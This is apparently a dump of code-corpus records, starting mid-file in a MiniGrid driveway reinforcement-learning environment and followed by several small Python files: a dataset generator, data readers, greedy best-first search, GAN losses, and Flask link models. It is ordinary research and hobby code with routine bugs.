gen_obs(self):\n        \"\"\"\n        Generate the agent's view (partially observable, low-resolution encoding)\n        \"\"\"\n\n        # set self.grid.has_been_seen = True for the cells within the region the\n        # agent can currently see\n        self.gen_obs_grid()\n\n        # Encode the partially observable view into a numpy array\n        image = np.transpose(self.grid.encode(), axes=(1, 0, 2)) / 255.0\n\n        assert hasattr(self, 'mission'), \"environments must define a textual mission string\"\n\n        # Observations are dictionaries containing:\n        # - an image (partially observable view of the environment)\n        # - the agent's direction/orientation (acting as a compass)\n        # - a textual mission string (instructions for the agent)\n        # obs = [self.agent_pos[0], self.agent_pos[1], self.agent_dir, self.goal_pos[0], self.goal_pos[1], self.max_steps - self.step_count]\n        # obs = image\n        obs = {\n            'semantic_gridmap': image,\n            'pos': self.agent_pos,\n            # 'goal_pos': self.goal_pos,\n            'theta': wrap(np.pi * self.agent_dir / 2.0),\n            'theta_ind': self.agent_dir,\n            'direction': self.agent_dir,\n            'mission': self.mission\n        }\n\n        return obs\n\n    def render(self):\n        return np.transpose(self.grid.encode(show_trajectory=True), axes=(1, 0, 2)) / 255.0\n\n    def to_grid(self, x, y):\n        return x, y\n        # \"\"\"\n        # Convert continuous coordinate to grid location\n        # \"\"\"\n        # # print(\"x,y: ({},{})\".format(x,y))\n        # # print(\"self.lower_grid_x_min: {}\".format(self.lower_grid_x_min))\n        # # print(\"self.lower_grid_y_min: {}\".format(self.lower_grid_y_min))\n        # # print(\"self.grid_resolution: {}\".format(self.grid_resolution))\n        # gx = np.floor((x - self.lower_grid_x_min) / self.grid_resolution).astype(int)\n        # gy = np.floor((y - self.lower_grid_y_min) / self.grid_resolution).astype(int)\n        # return gx, gy\n        # # print(\"gx,gy: ({},{})\".format(gx,gy))\n        # # return int(gx), int(gy)\n\n    def to_coor(self, x, y):\n        return x, y\n        # \"\"\"\n        # Convert grid location to continuous coordinate\n        # \"\"\"\n        # wx = x * self.grid_resolution + self.lower_grid_x_min\n        # wy = y * self.grid_resolution + self.lower_grid_y_min\n        # return wx, wy\n\n    def rescale(self,x1,y1,x2,y2,n_row=None):\n        return x1, y1, x2, y2\n        # \"\"\"\n        # convert the continuous rectangle region in the SUNCG dataset to the grid region in the house\n        # \"\"\"\n        # gx1, gy1 = self.to_grid(x1, y1)\n        # gx2, gy2 = self.to_grid(x2, y2)\n        # return gx1, gy1, gx2, gy2\n        # # if n_row is None: n_row = self.n_row\n        # # tiny = 1e-9\n        # # tx1 = np.floor((x1 - self.L_lo) / self.L_det * n_row+tiny)\n        # # ty1 = np.floor((y1 - self.L_lo) / self.L_det * n_row+tiny)\n        # # tx2 = np.floor((x2 - self.L_lo) / self.L_det * n_row+tiny)\n        # # ty2 = np.floor((y2 - self.L_lo) / self.L_det * n_row+tiny)\n        # # return int(tx1),int(ty1),int(tx2),int(ty2)\n\n    def next_coords(self, start_x, start_y, start_theta_ind):\n        # action_dict = { 0: (1, 0),\n        #                 1: (0, np.pi/2),\n        #                 2: (0, -np.pi/2)}\n        action_dict = { 0: (1, 0),\n                        1: (0, -np.pi/2),\n                        2: (0, np.pi/2)}\n        start_theta = theta_ind_to_theta(start_theta_ind)\n        num_actions = len(action_dict.keys())\n        state_dim = 3 # (x,y,theta)\n        next_states = np.empty((num_actions, state_dim))\n        actions = [None for i in range(num_actions)]\n        for i in range(num_actions):\n            action = list(action_dict)[i]\n            actions[i] = action\n            cmd_vel = action_dict[action]\n\n            # Compute displacement\n            num_steps = 10\n            dt = 0.1 * num_steps\n            dx = dt * cmd_vel[0]\n            dy = 0\n            dtheta = dt * cmd_vel[1]\n\n            x = start_x + dx * np.cos(start_theta) - dy * np.sin(start_theta)\n            y = start_y + dx * np.sin(start_theta) + dy * np.cos(start_theta)\n            theta = start_theta + dtheta\n\n            next_states[i,0] = x\n            next_states[i,1] = y\n            next_states[i,2] = theta_to_theta_ind(theta)\n        return next_states, actions, 1\n\n    def get_reward(self, sparse):\n        \"\"\"Get reward for RL agent. Two options are possible:\n        * Sparse: reward = 10 iff goal reached. O/w step cost of -0.01\n        * Dense: If traversable, a reward based on distance. \n        If non-traversable, a fixed penalty cost\n        \"\"\"\n        if sparse:\n            new_cell = self.grid.get(*self.agent_pos)\n            if new_cell.type == self.goal_worldobj_type:\n                reward = 10\n            else:\n                reward = -0.01\n        else:\n            pixel = self.c2g_image[self.agent_pos[1], self.agent_pos[0], :]\n\n            if pixel[0] == 1. and pixel[1] == 0. and pixel[2] == 0.:\n                reward = -1.  # Non-traversable road\n            else:\n                reward = pixel[0] - 1.  # Traversable road\n\n            assert reward <= 0.\n\n        return reward\n        \n    def step(self, action):\n        self.step_count += 1\n\n        # Get the position in front of the agent\n        fwd_pos = self.front_pos\n\n        # Get the contents of the cell in front of the agent\n        fwd_cell = self.grid.get(*fwd_pos)\n\n        # Record position of agent prior to step as seen\n        current_cell = self.grid.get(*self.agent_pos)\n        current_cell.has_been_visited = True\n        self.visited_cells.append(self.agent_pos)\n\n        # Take action\n        if action == self.actions.left:\n            self.agent_dir = (self.agent_dir - 1) % 4\n        elif action == self.actions.right:\n            self.agent_dir = (self.agent_dir + 1) % 4\n        elif action == self.actions.forward:\n            if fwd_cell == None or fwd_cell.can_overlap():\n                self.agent_pos = fwd_pos\n        else:\n            raise ValueError()\n\n        # Get new obs\n        obs = self.gen_obs()\n\n        # Get reward\n        reward = self.get_reward(sparse=False)\n\n        # Get done\n        done = False\n        if self.step_count >= self.max_steps:\n            done = True\n\n        new_cell = self.grid.get(*self.agent_pos)\n        if new_cell.type == self.goal_worldobj_type:\n            print(\"Goal reached!\")\n            done = True\n\n        return obs, reward, done, {}\n\n    def place_agent(\n        self,\n        top=None,\n        size=None,\n        rand_dir=True,\n        max_tries=np.inf,\n        reject_fn=None\n    ):\n        \"\"\"\n        Set the agent's starting point at an empty position in the grid\n        \"\"\"\n\n        self.agent_pos = None\n        agent_pos = self.place_obj(None, top, size, max_tries=max_tries, reject_fn=reject_fn, ok_to_overlap=True)\n\n        if rand_dir:\n            agent_dir = self._rand_int(0, 4)\n        else:\n            agent_dir = 0\n\n        return agent_pos, agent_dir\n\n    def place_obj(self,\n        obj,\n        top=None,\n        size=None,\n        reject_fn=None,\n        max_tries=np.inf,\n        ok_to_overlap=False\n    ):\n        \"\"\"\n        Place an object at an empty position in the grid\n\n        :param top: top-left position of the rectangle where to place\n        :param size: size of the rectangle where to place\n        :param reject_fn: function to filter out potential positions\n        \"\"\"\n\n        if top is None:\n            top = (0, 0)\n\n        if size is None:\n            size = (self.grid.width, self.grid.height)\n\n        num_tries = 0\n\n        while True:\n            # This is to handle with rare cases where rejection sampling\n            # gets stuck in an infinite loop\n            if num_tries > max_tries:\n                raise RecursionError('rejection sampling failed in place_obj')\n\n            num_tries += 1\n\n            pos = np.array((\n                self._rand_int(top[0], top[0] + size[0]),\n                self._rand_int(top[1], top[1] + size[1])\n            ))\n\n            # Don't place the object on top of another object\n            if not ok_to_overlap and self.grid.get(*pos) != None:\n                continue\n\n            # Don't place the object where the agent is\n            if np.array_equal(pos, self.agent_pos):\n                continue\n\n            # Check if there is a filtering criterion\n            if reject_fn and reject_fn(self, pos):\n                continue\n\n            break\n\n        # self.grid.set(*pos, obj)\n\n        if obj is not None:\n            obj.init_pos = pos\n            obj.cur_pos = pos\n\n        return pos\n\n# keep angle between [-pi, pi]\ndef wrap(angle):\n    return (angle + np.pi) % (2*np.pi) - np.pi\n\ndef theta_to_theta_ind(yaw):\n    return int(round(yaw / (np.pi/2))) % 4\n\ndef theta_ind_to_theta(theta_ind):\n    return wrap(theta_ind * np.pi/2)\n\ndef reject_untraversable(env, pos):\n    pi, pj = pos\n    # return env.grid.get(pi, pj).type not in ['driveway']\n    return env.grid.get(pi, pj).type not in ['road']\n    # return env.grid.get(pi, pj).type not in ['path']\n\nclass DrivewayEnv6x6(DrivewayEnv):\n    def __init__(self):\n        DrivewayEnv.__init__(self, size=6)\n\nclass DrivewayEnv16x16(DrivewayEnv):\n    def __init__(self):\n        DrivewayEnv.__init__(self, size=16)\n\nclass DrivewayEnv32x32(DrivewayEnv):\n    def __init__(self):\n        DrivewayEnv.__init__(self, size=50)\n\nregister(\n    id='MiniGrid-DrivewayEnv-6x6-v0',\n    entry_point=DrivewayEnv6x6\n)\n\nregister(\n    id='MiniGrid-DrivewayEnv-16x16-v0',\n    entry_point=DrivewayEnv16x16\n)\n\nregister(\n    id='MiniGrid-DrivewayEnv-32x32-v0',\n    entry_point=DrivewayEnv32x32\n)\n\n# Number of cells (width and height) in the agent view\nAGENT_VIEW_SIZE = 5\n\n# Size of the array given as an observation to the agent\nOBS_ARRAY_SIZE = (AGENT_VIEW_SIZE, AGENT_VIEW_SIZE, 3)\n\n# Map of color names to RGB values\nCOLORS = {\n    'red'   : np.array([255, 0, 0]),\n    'green' : np.array([0, 255, 0]),\n    'blue'  : np.array([0, 0, 255]),\n    'magenta'  : np.array([255, 0, 255]),\n    'purple': np.array([112, 39, 195]),\n    'yellow': np.array([255, 255, 0]),\n    'grey'  : np.array([100, 100, 100]),\n    'white' : np.array([255, 255, 255])\n}\n\nTRAVERSABLE_COLORS = {\n    True: 'white',\n    False: 'red'\n}\n\nCOLOR_NAMES = sorted(list(COLORS.keys()))\n\n# Used to map colors to integers\nCOLOR_TO_IDX = {\n    'red'   : 0,\n    'green' : 1,\n    'blue'  : 2,\n    'magenta': 3,\n    'purple': 4,\n    'yellow': 5,\n    'grey'  : 6\n}\n\nIDX_TO_COLOR = dict(zip(COLOR_TO_IDX.values(), COLOR_TO_IDX.keys()))\n\n# Map of object type to integers\nOBJECT_TO_IDX = {\n    'empty':        0,\n    'wall':         1,\n    'floor':        2,\n    'door':         3,\n    'locked_door':  4,\n    'key':          5,\n    'ball':         6,\n    'box':          7,\n    'frontdoor':    8,\n    'sidewalk':     9,\n    'house':        10,\n    'road':         11,\n    'grass':        12,\n    'driveway':     13,\n    'path':         14,\n    'car':          15,\n    'blank':        16\n}\n\n# Map of object type to color names\nOBJECT_TO_COLOR = {\n    'front_door': 'yellow',\n    'sidewalk': 'blue',\n    'house':    'magenta',\n    'road':     'red',\n    'grass':    'green'\n}\n\nIDX_TO_OBJECT = dict(zip(OBJECT_TO_IDX.values(), OBJECT_TO_IDX.keys()))\n\nclass GenericTerrain(WorldObj):\n    \"\"\"\n    Colored grass tile the agent can walk over\n    \"\"\"\n\n    def __init__(self, terrain_type, color, is_traversable=True):\n        self.is_traversable = is_traversable\n        self.type = terrain_type\n        assert terrain_type in OBJECT_TO_IDX, terrain_type\n        if type(color) == np.ndarray:\n            self.color = color\n        elif obj_type in OBJECT_TO_COLOR:\n            self.color = OBJECT_TO_COLOR[obj_type]\n            assert self.color in COLOR_TO_IDX, self.color\n        else:\n            self.color = color\n        self.contains = None\n\n        # Initial position of the object\n        self.init_pos = None\n\n        # Current position of the object\n        self.cur_pos = None\n\n        self.has_been_seen = False\n        self.has_been_visited = False\n\n    def can_overlap(self):\n        return True\n\n    def render(self, r):\n        # Give the floor a pale color\n        if type(self.color) == np.ndarray:\n            c = self.color\n        else:\n            c = COLORS[self.color]\n        # r.setLineColor(100, 100, 100, 0)\n        r.setLineColor(*c/2)\n        r.setColor(*c/2)\n        r.drawPolygon([\n            (1          , CELL_PIXELS),\n            (CELL_PIXELS, CELL_PIXELS),\n            (CELL_PIXELS,           1),\n            (1          ,           1)\n        ])\n\n    def encode(self, ignore_whether_seen=False):\n        \"\"\"Encode the a description of this object as a 3-tuple of integers\"\"\"\n        if not self.has_been_seen and not ignore_whether_seen:\n            return (0,0,0)\n        else:\n            if type(self.color) == np.ndarray:\n                return self.color\n            else:\n                return (OBJECT_TO_IDX[self.type], COLOR_TO_IDX[self.color], 0)\n\nclass Grass(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=False)\n\nclass Driveway(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=True)\n\nclass Sidewalk(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=True)\n\nclass Road(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=True)\n\nclass Car(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=False)\n\nclass Blank(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=False)\n\nclass Path(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=True)\n\nclass House(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=False)\n\nclass FrontDoor(GenericTerrain):\n    def __init__(self, color=None):\n        GenericTerrain.__init__(self,\n            self.__class__.__name__.lower(), \n            color=color,\n            is_traversable=False)\n","repo_name":"mit-acl/dc2g","sub_path":"dc2g/driveway_env.py","file_name":"driveway_env.py","file_ext":"py","file_size_in_byte":28724,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"79"}
+{"seq_id":"36178441531","text":"# import libraries\nimport getopt\nimport sys\nimport random\nimport matplotlib.pyplot as plt\n\n# get arguments\nargs = sys.argv[1:]\n\n# set default parameters\nsize = 10\nn_features = 1\noutname = 'dataset.txt'\nsep = True\n\n# get parameters\ntry:\n    opts, args = getopt.getopt(args, \"hs:o:l:f:\", [\"size=\", \"output=\", \"linearly_sep=\", \"features=\"])\nexcept getopt.GetoptError:\n    print('create_linearly_sep_dataset.py -s <size> -o <outputfile> -l <boolean linearly sep>')\n    sys.exit(2)\nfor opt, arg in opts:\n    if opt == '-h':\n        print('create_linearly_sep_dataset.py -s <size> -o <outputfile> -l <boolean linearly sep>')\n        sys.exit()\n    elif opt in ('-s' or '--size'):\n        size = int(arg)\n    elif opt in ('-f' or '--features'):\n        n_features = int(arg)\n    elif opt in ('-o' or '--output'):\n        outname = arg\n    elif opt in ('-l' or '--linearly_sep'):\n        if arg == 'F' or 'False':\n            sep = False\n\n# initialize data array\ngroup = []  # holds group number\nvalues = [[] for i in range(n_features)]  # holds value\nthreshold = random.randint(2, 101)  # threshold if linearly separable\noverlap = True  # boolean to add value to first dataset if not separable\noverlap2 = True  # boolean to add value to second dataset if not separable\ngroup_size = size/2  # 2 groups per dataset\n\n\nfor i in range(size+1):\n    if i < group_size:  # first group\n        group.append(0)\n        if sep is True:  # if linearly separable\n            for value in values:\n                value.append(random.randint(1, threshold))\n        else:  # if not linearly separable\n            if overlap is True:  # adds threshold value to first group\n                for value in values:\n                    value.append(threshold)\n                overlap = False\n            else:  # else add random value\n                for value in values:\n                    value.append(random.randint(1, 101))\n    else:  # second group\n        group.append(1)\n        if sep is True:  # if linearly separable\n            for value in values:\n                value.append(random.randint(threshold, 101))\n        else:  # if not linearly separable\n            if overlap2 is True: # adds threshold value to second group\n                for value in values:\n                    value.append(threshold)\n                overlap2 = False\n            else:  # else add random value\n                for value in values:\n                    value.append(random.randint(1, 101))\n\n\n# plot values for first two features\nif n_features > 1:\n    plt.scatter(values[0][0:int(group_size)], values[1][0:int(group_size)], color='red', label='group 0')\n    plt.scatter(values[0][int(group_size+1):], values[1][int(group_size+1):], color='blue', label='group 1')\n    plt.legend(loc='upper left')\n    plt.xlabel('value_1')\n    plt.ylabel('value_2')\n    plt.savefig(outname + '.png')  # save as png with basename as outname\n\n\n# output to file\nwith open(outname, 'w') as z:\n    title = \"group\"\n    for i in range(len(values)):\n        title = title + '\\t' + 'value_' + str(i+1)\n    z.write(title + '\\n')\n    for i in range(len(group)):\n        values_string = ''\n        for value in values:\n            values_string = values_string + '\\t' + str(value[i])\n        z.write(str(group[i]) + values_string + '\\n')\n\n\n","repo_name":"jmattick/perceptrons","sub_path":"create_linearly_sep_dataset.py","file_name":"create_linearly_sep_dataset.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"26516117711","text":"import os\nimport sys\nimport numpy as np\nimport json\n\n\n# Read useful data about winning agents from experiment\ndef read_agent_data(exp_data_path, winner_file_name):\n\n    # Get directories in data_dir_path\n    run_folder_paths = get_sub_folders(exp_data_path)\n\n    # If there are no directories in exp_data_path, then look for data in \n    # exp_data_path\n    if not run_folder_paths:\n        run_folder_paths = [exp_data_path]\n\n    # Append winner file name to folder paths\n    for i in range(len(run_folder_paths)):\n        run_folder_paths[i] += '/' + winner_file_name + '.json'\n\n    # Read data\n    fitnesses, genos, phenos, domain_params = read_data(run_folder_paths)\n\n    return fitnesses, genos, phenos, domain_params, run_folder_paths\n\n\n# Read data from evolutionary runs\ndef read_evo_data(exp_data_path):\n\n    # Get sub folders in data_dir (different run folders)\n    run_folder_paths = get_sub_folders(exp_data_path)\n    if not run_folder_paths:\n        run_folder_paths = [exp_data_path]\n\n    exp_mean_fitnesses = []\n    exp_best_fitnesses = []\n    for rfp in run_folder_paths:\n        rfp_means = rfp + '/mean_fitnesses'\n        rfp_bests = rfp + '/best_fitnesses'\n\n        # Read data and convert to floats\n        mean_fitnesses = list(map(float, read_list(rfp_means)))\n        best_fitnesses = list(map(float, read_list(rfp_bests)))\n\n        exp_mean_fitnesses.append(mean_fitnesses)\n        exp_best_fitnesses.append(best_fitnesses)\n\n    return np.array(exp_mean_fitnesses), np.array(exp_best_fitnesses), run_folder_paths\n\n\n# Read new data format that uses json files\ndef read_data(folder_paths):\n\n    fitnesses = []\n    genotypes = []\n    phenotypes = []\n    domain_params = []\n\n    for fp in folder_paths:\n        try:\n            with open(fp) as agent_file:\n                agent = json.load(agent_file)\n\n                fitnesses.append(agent['Organism']['fitness'])\n                genotypes.append(agent['Organism']['genes'])\n                phenotypes.append(agent['Organism']['Phenotype']['traits'])\n                # domain_params.append(agent['env']['domain_params'])\n\n        except FileNotFoundError:\n            sys.exit(\"Could not find file named: \" + fp)\n\n    return np.array(fitnesses), np.array(genotypes), np.array(phenotypes), \\\n           np.array(domain_params)\n\n\ndef get_sub_folders(dir_path, recursive=True, append_dir_path=True,\n                    num_top_dirs_appended=0, final_sub_dirs_only=False,\n                    num_top_dirs_removed=0, sort_by_suffix_num=False):\n\n    # If appended top directories is given, auto turn off append full directory path\n    if num_top_dirs_appended:\n        append_dir_path = False\n\n    if os.path.isdir(dir_path):\n        # Walk directory\n        walk = list(os.walk(dir_path))\n\n        # If final subdirectories are needed only\n        if final_sub_dirs_only:\n            folder_names = [x[0] for x in walk if not x[1]]\n        elif recursive and append_dir_path:\n            folder_names = [x[0] for x in walk][1:]\n        elif not recursive:\n            folder_names = walk[0][1]\n            if append_dir_path:\n                folder_names = list(map(lambda fn: dir_path + '/' + fn, folder_names))\n\n        # Sort results\n        folder_names = sorted(folder_names)\n        if sort_by_suffix_num:\n            folder_names = _sort_by_suffix_num(folder_names)\n\n        # Remove top directories\n        folder_names = [remove_dirs_from_path(x, num_top_dirs_removed)\n                        for x in folder_names]\n\n        # Append top directories\n        if num_top_dirs_appended > 0:\n            top_dirs = '/'.join(dir_path.split('/')[-num_top_dirs_appended:])\n            folder_names = [top_dirs + '/' + fn for fn in folder_names]\n\n    else:\n        raise NotADirectoryError(\"{} is not a directory\".format(dir_path))\n\n    return folder_names\n\n\n# Sort directories by the number at the end of the file\ndef _sort_by_suffix_num(directories):\n\n    def parse_suffix(directory):\n        return int(directory.split('_')[-1])\n\n    directories.sort(key=parse_suffix)\n    return directories\n\n\n# Read list from file\ndef read_list(file_path):\n\n    with open(file_path, 'r') as f:\n        lst = f.readlines()\n\n    # Remove carriage returns\n    lst = [val.strip() for val in lst]\n\n    return lst\n\n\n# Removes a number of directories from a path string\ndef remove_dirs_from_path(path, num_dirs_removed=1):\n    return '/'.join(path.split('/')[num_dirs_removed:])\n\n\n# Read json\ndef read_json(file_path):\n    with open(file_path, 'r') as f:\n        return json.load(f)\n","repo_name":"jamesbut/NeuroEvo","sub_path":"scripts/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4532,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"79"}
+{"seq_id":"4028139970","text":"# Greedy Best First Search\r\n# Lambda is used to create anonymous(no name of function) methods in python / java eg:: key = lambda x:x[1]\r\n\r\ngraph = {\r\n    'a':[('b',12), ('c',4)],\r\n    'b':[('d',7),('e',3)],\r\n    'c':[('f',8),('g',2)],\r\n    'd':[],\r\n    'e':[('h',0)],\r\n    'f':[('h',0)],\r\n    'g':[('h',0)]\r\n}\r\n\r\nopen = []\r\nclosed = []\r\n\r\ndef gbfs(start, target, graph, open=[], closed=[]):\r\n  if start not in closed:\r\n    print(start)\r\n    closed.append(start)\r\n\r\n  open = open + [x for x in graph[start] if x[0][0] not in closed]\r\n  print([x for x in graph[start] if x[0][0] not in closed])\r\n  open.sort(key=lambda x:x[1])\r\n  #print(open)\r\n\r\n  if open[0][0] == target:\r\n    print(open[0][0])\r\n  else:\r\n    processing = open[0]\r\n    print(processing)\r\n    open.remove(processing)\r\n    gbfs(processing[0], target, graph, open, closed)\r\n\r\ngbfs('a','h',graph)\r\n","repo_name":"mys3lfasfaan/The-Python-Experience","sub_path":"Greedy Best First Search Implementation.py","file_name":"Greedy Best First Search Implementation.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"35885605600","text":"import torch\nimport torch.nn as nn\nimport torchlib\n\nfrom torch.autograd import grad\n\n\n# ==============================================================================\n# =                                loss function                               =\n# ==============================================================================\n\ndef get_losses_fn(mode):\n    if mode == 'gan':\n        def d_loss_fn(r_logit, f_logit):\n            r_loss = torch.nn.functional.binary_cross_entropy_with_logits(r_logit, torch.ones_like(r_logit))\n            f_loss = torch.nn.functional.binary_cross_entropy_with_logits(f_logit, torch.zeros_like(f_logit))\n            return r_loss, f_loss\n\n        def g_loss_fn(f_logit):\n            f_loss = torch.nn.functional.binary_cross_entropy_with_logits(f_logit, torch.ones_like(f_logit))\n            return f_loss\n\n    elif mode == 'lsgan':\n        def d_loss_fn(r_logit, f_logit):\n            r_loss = torch.nn.functional.mse_loss(r_logit, torch.ones_like(r_logit))\n            f_loss = torch.nn.functional.mse_loss(f_logit, torch.zeros_like(f_logit))\n            return r_loss, f_loss\n\n        def g_loss_fn(f_logit):\n            f_loss = torch.nn.functional.mse_loss(f_logit, torch.ones_like(f_logit))\n            return f_loss\n\n    elif mode == 'wgan':\n        def d_loss_fn(r_logit, f_logit):\n            r_loss = -r_logit.mean()\n            f_loss = f_logit.mean()\n            return r_loss, f_loss\n\n        def g_loss_fn(f_logit):\n            f_loss = -f_logit.mean()\n            return f_loss\n\n    elif mode == 'hinge_v1':\n        def d_loss_fn(r_logit, f_logit):\n            r_loss = torch.max(1 - r_logit, torch.zeros_like(r_logit)).mean()\n            f_loss = torch.max(1 + f_logit, torch.zeros_like(f_logit)).mean()\n            return r_loss, f_loss\n\n        def g_loss_fn(f_logit):\n            f_loss = torch.max(1 - f_logit, torch.zeros_like(f_logit)).mean()\n            return f_loss\n\n    elif mode == 'hinge_v2':\n        def d_loss_fn(r_logit, f_logit):\n            r_loss = torch.max(1 - r_logit, torch.zeros_like(r_logit)).mean()\n            f_loss = torch.max(1 + f_logit, torch.zeros_like(f_logit)).mean()\n            return r_loss, f_loss\n\n        def g_loss_fn(f_logit):\n            f_loss = - f_logit.mean()\n            return f_loss\n\n    else:\n        raise NotImplementedError\n\n    return d_loss_fn, g_loss_fn\n\n\n# ==============================================================================\n# =                                   others                                   =\n# ==============================================================================\n\ndef gradient_penalty(f, real, fake, mode):\n    device = real.device\n\n    def _gradient_penalty(f, real, fake=None):\n        def _interpolate(a, b=None):\n            if b is None:   # interpolation in DRAGAN\n                beta = torch.rand(a.size()).to(device)\n                b = a + 0.5 * a.std() * beta\n            shape = [a.size(0)] + [1] * (a.dim() - 1)\n            alpha = torch.rand(shape).to(device)\n            inter = a + alpha * (b - a)\n            return inter\n\n        x = torch.tensor(_interpolate(real, fake), requires_grad=True)\n        pred = f(x)\n        if isinstance(pred, tuple):\n            pred = pred[0]\n        g = grad(pred, x, grad_outputs=torch.ones(pred.size()).to(device), create_graph=True)[0].view(x.size(0), -1)\n        gp = ((g.norm(p=2, dim=1) - 1) ** 2).mean()\n        return gp\n\n    if mode == 'wgan-gp':\n        gp = _gradient_penalty(f, real, fake)\n    elif mode == 'dragan':\n        gp = _gradient_penalty(f, real)\n    elif mode == 'none':\n        gp = torch.tensor(0.0).to(device)\n    else:\n        raise NotImplementedError\n\n    return gp\n\n\n# ==============================================================================\n# =                                    utils                                   =\n# ==============================================================================\nclass NoOp(nn.Module):\n    def __init__(self, *args, **keyword_args):\n        super(NoOp, self).__init__()\n    def forward(self, x):\n        return x\n\nclass Reshape(nn.Module):\n    def __init__(self, *new_shape):\n        super(Reshape, self).__init__()\n        self._new_shape = new_shape\n    def forward(self, x):\n        new_shape = (x.size(i) if self._new_shape[i] == 0 else self._new_shape[i] for i in range(len(self._new_shape)))\n        return x.view(*new_shape)\n\ndef identity(x, *args, **keyword_args):\n    return x\n\ndef _get_norm_fn_2d(norm):  # 2d\n    if norm == 'batch_norm':\n        return nn.BatchNorm2d\n    elif norm == 'instance_norm':\n        return nn.InstanceNorm2d\n    elif norm == 'none':\n        return NoOp\n    else:\n        raise NotImplementedError\n\n\ndef _get_weight_norm_fn(weight_norm):\n    if weight_norm == 'spectral_norm':\n        return torch.nn.utils.spectral_norm\n    elif weight_norm == 'weight_norm':\n        return torch.nn.utils.weight_norm\n    elif weight_norm == 'none':\n        return identity\n    else:\n        return NotImplementedError","repo_name":"disanda/GDG","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":5010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"71984595774","text":"from typing import List\r\n\r\ndef contarUnaMeseta (l: list[int]) -> int:\r\n    meseta: int = 1\r\n    i: int = 0\r\n    while i < len(l) and l[i] == l[i + 1]:\r\n        meseta = meseta + 1\r\n        i = i + 1\r\n            \r\n    return meseta\r\n\r\nx = [1,1,3,2,2]\r\ncontarUnaMeseta(x)\r\n","repo_name":"mariok99/introProgamacion","sub_path":"CMS2/pruebaDebug.py","file_name":"pruebaDebug.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"73490657850","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 31 20:53:29 2019\n\n@author: Penny\n\"\"\"\n\nimport json\n\nwith open('weather_data/20190130.json', encoding = 'utf-8') as f:\n    line = f.readline()\n    d = json.loads(line)\n    print(d)\n    f.close()\n\ntuple(d.keys())\ntuple(d.values())\ntuple(d.items())\n\nprovince = input(\"请输入省份\")\ncity = input(\"请输入城市\")\nd.get('china/'+province+'/'+city)\n\n\n","repo_name":"JerryMazeyu/wecare","sub_path":"json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"74019482809","text":"from linkcases import db\nfrom linkcases.models.linkcase import Linkcase, get_linkcase\n\n\nclass Link(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(64), index=True)\n    url = db.Column(db.String(64), index=True)\n    linkcase_id = db.Column(db.Integer, db.ForeignKey('linkcase.id'))\n    \n    def __repr__(self):\n        return f'<Link {self.name}>'\n\n\ndef create_link(linkcase_name=None, user=None, link_url=None, link_name=None):\n    try:\n        linkcase_id = Linkcase.query.filter_by(name=linkcase_name, user_id=user.id).first().id\n        link = Link(name=link_name, url=link_url, linkcase_id=linkcase_id)\n        db.session.add(link)\n        db.session.commit()\n    except:\n        print('Error while creating Link object.')\n\n\ndef delete_link(link_name, parent_linkcase_name, user):\n    try:\n        linkcase_id = get_linkcase(parent_linkcase_name, user).id\n        link = Link.query.filter_by(name=link_name, linkcase_id=linkcase_id).first()\n        db.session.delete(link)\n        db.session.commit()\n    except:\n        print('Error while deleting Link object.')\n\n","repo_name":"FARBEX97/linkcase-org","sub_path":"linkcases/models/link.py","file_name":"link.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
